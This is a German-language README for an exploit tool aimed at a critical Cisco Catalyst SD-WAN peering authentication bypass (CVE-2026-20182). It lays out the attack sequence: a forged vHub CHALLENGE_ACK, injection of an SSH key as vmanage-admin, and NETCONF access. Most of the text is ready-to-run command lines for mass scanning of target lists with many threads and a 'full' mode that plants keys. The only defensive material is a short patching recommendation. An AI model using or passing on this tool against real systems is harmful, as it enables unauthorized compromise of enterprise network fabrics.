
Cisco Catalyst SD-WAN Peering Authentifizierungsumgehung
Cisco Catalyst SD-WAN Peering-Authentifizierungs-Bypass
Bewertungstool für autorisierte Tests des Cisco Catalyst SD-WAN Controller / Manager Peering-Authentifizierungs-Bypass (CVE-2026-20182).
| CVE | CVE-2026-20182 |
| Schweregrad | Kritisch (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Produkt | Cisco Catalyst SD-WAN Controller (ehemals vSmart) · Cisco Catalyst SD-WAN Manager (ehemals vManage) |
| Problem | Peering-Authentifizierungsmechanismus wird nicht korrekt durchgesetzt |
| Skript | CVE-2026-20182.py |
Mai 2026 Advisory: Ein Fehler im Control-Connection-Handshake / Peering-Authentifizierung ermöglicht es einem nicht authentifizierten entfernten Angreifer, die Authentifizierung zu umgehen und hochprivilegierten internen Zugriff auf betroffene Systeme zu erhalten.
Ein Angreifer sendet präparierte Anfragen an das betroffene System. Bei Erfolg kann sich der Angreifer als internes, hochprivilegiertes, nicht root-Konto authentifizieren und NETCONF erreichen, was die Manipulation der SD-WAN-Fabric-Konfiguration ermöglicht.
| Element | Detail |
|---|---|
| Angriffsvektor | Netzwerk |
| Erforderliche Berechtigungen | Keine |
| Benutzerinteraktion | Keine |
| Umfang | Geändert |
| Auswirkung | Vertraulichkeit, Integrität und Verfügbarkeit — Hoch |
Empfehlung: Wenden Sie Cisco-Sicherheitsupdates gemäß der offiziellen Herstelleranleitung an. Beschränken Sie die Exposition der Management-Ebene, überwachen Sie Control-Plane-Verbindungen und prüfen Sie SD-WAN-Controller auf nicht autorisierte Konfigurationsänderungen.
Telegram: @KNxploited
CVE-2026-20182.pyPython 3 Exploit-Framework für CVE-2026-20182 gegen Cisco SD-WAN vdaemon (UDP/DTLS 12346).
| Schritt | Phase | Beschreibung |
|---|---|---|
| 1 | Ziele laden | targets.txt parsen, Duplikate nach (host, domain_id, site_id) zusammenführen |
| 2 | OpenSSL-Vorbereitung | OpenSSL 3.x/4.x-Shared-Libraries für benutzerdefiniertes DTLS laden |
| 3 | DTLS-Verbindung | Verbindung zum Ziel-UDP-Port herstellen (immer zuerst 12346, dann optionale Listen-Ports) |
| 4 | CHALLENGE | Server-CHALLENGE (0x08) empfangen |
| 5 | CHALLENGE_ACK | Präpariertes CHALLENGE_ACK als vHub (Typ 2) senden — Authentifizierungs-Bypass |
| 6 | Hello | Hello-Austausch abschließen — bestätigt Bypass-Pfad |
| 7a | CHECK-Modus | Hier anhalten — nur Bypass / Hello OK aufzeichnen (keine Schlüssel, kein SSH) |
| 7b | FULL-Modus | SSH-öffentlichen Schlüssel über VMANAGE_TO_PEER injizieren |
| 8 | Injektionsbestätigung | REGISTER_TO_VMANAGE (0x0D) als Protokollbestätigung erwarten |
| 9 | SSH-Überprüfung | Login als vmanage-admin auf TCP 830 (NETCONF), optional 22 testen |
| 10 | Ausgabe | Ergebnisse in Tier-Dateien + menschenlesbare Befehlsliste sortieren |
Fabric-Fallback: Bei TEAR_DOWN oder Parameterkonflikt werden alternative Domain/Site-Voreinstellungen (1,100), (1,1), (0,0) wiederholt, es sei denn, --no-fallback ist angegeben.
| Stufe | Datei | Bedeutung |
|---|---|---|
| 01 — SSH bestätigt | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — einzige Stufe, die als vollständiger Kompromittierungsnachweis gilt |
| 02 — Nur Injektionsbestätigung | cisco_sdwan_02_inject_ack_only.jsonl | Protokoll hat Schlüsselinjektion akzeptiert; SSH-Login fehlgeschlagen |
| 03 — Nur Bypass | cisco_sdwan_03_bypass_only.jsonl | Hello/Bypass OK; keine bestätigte Injektion |
Wichtig
check-Modus → höchstens Stufe 03 (Bypass-Sonde). Kein vollständiger Exploit-Nachweis.full-Modus → Ziel ist Stufe 01 (ssh_verified).https://host in der Liste → nur TCP-Web-Hinweis (80/443). Nicht UDP DTLS auf 443.| Anforderung | Hinweise |
|---|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | 3.x oder 4.x Shared Libraries (libssl + libcrypto) — zwingend erforderlich |
pip install -r requirements.txt
Windows
bin\ zur PATH-Umgebungsvariablen hinzu, oder setzen Sie:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
Das Tool beendet sich beim Start, wenn OpenSSL nicht geladen werden kann.
python CVE-2026-20182.py
0 = SCAN STARTENcheck (sicherer Bypass-Sonde)python CVE-2026-20182.py -y
| Modus | Flag | SSH-Injektion | SSH-Überprüfung | Verwendung wenn |
|---|---|---|---|---|
| CHECK | --mode check (Standard) | Nein | Nein | Massen-Screening, Bypass-Erkennung |
| FULL | --mode full | Ja | Ja (es sei denn, --no-ssh-verify) | Kompromittierungsnachweis |
CHECK — Nur Bypass-Sonde
python CVE-2026-20182.py -y --mode check
FULL — Schlüssel injizieren + SSH überprüfen (nur autorisierte Ziele)
python CVE-2026-20182.py -y --mode full
-f / --file — Zieledatei (Standard: targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — Arbeiter-Threads (1–200, Standard 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — Standard-DOMAIN_ID, wenn nicht in Liste (Standard: 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — Standard-SITE_ID, wenn nicht in Liste (Standard: 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — interaktives Menü überspringen; nur CLI-Werte verwenden
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — SSH-Test nach Injektion überspringen (nicht empfohlen im full-Modus)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — zusätzlich TCP 22 nach 830 versuchen
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — nur UDP 12346; :port aus Liste ignorieren
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — Labor: zusätzliche UDP-Ports auf jedem Host
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — Domain/Site-Wiederholung bei TEAR_DOWN deaktivieren
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full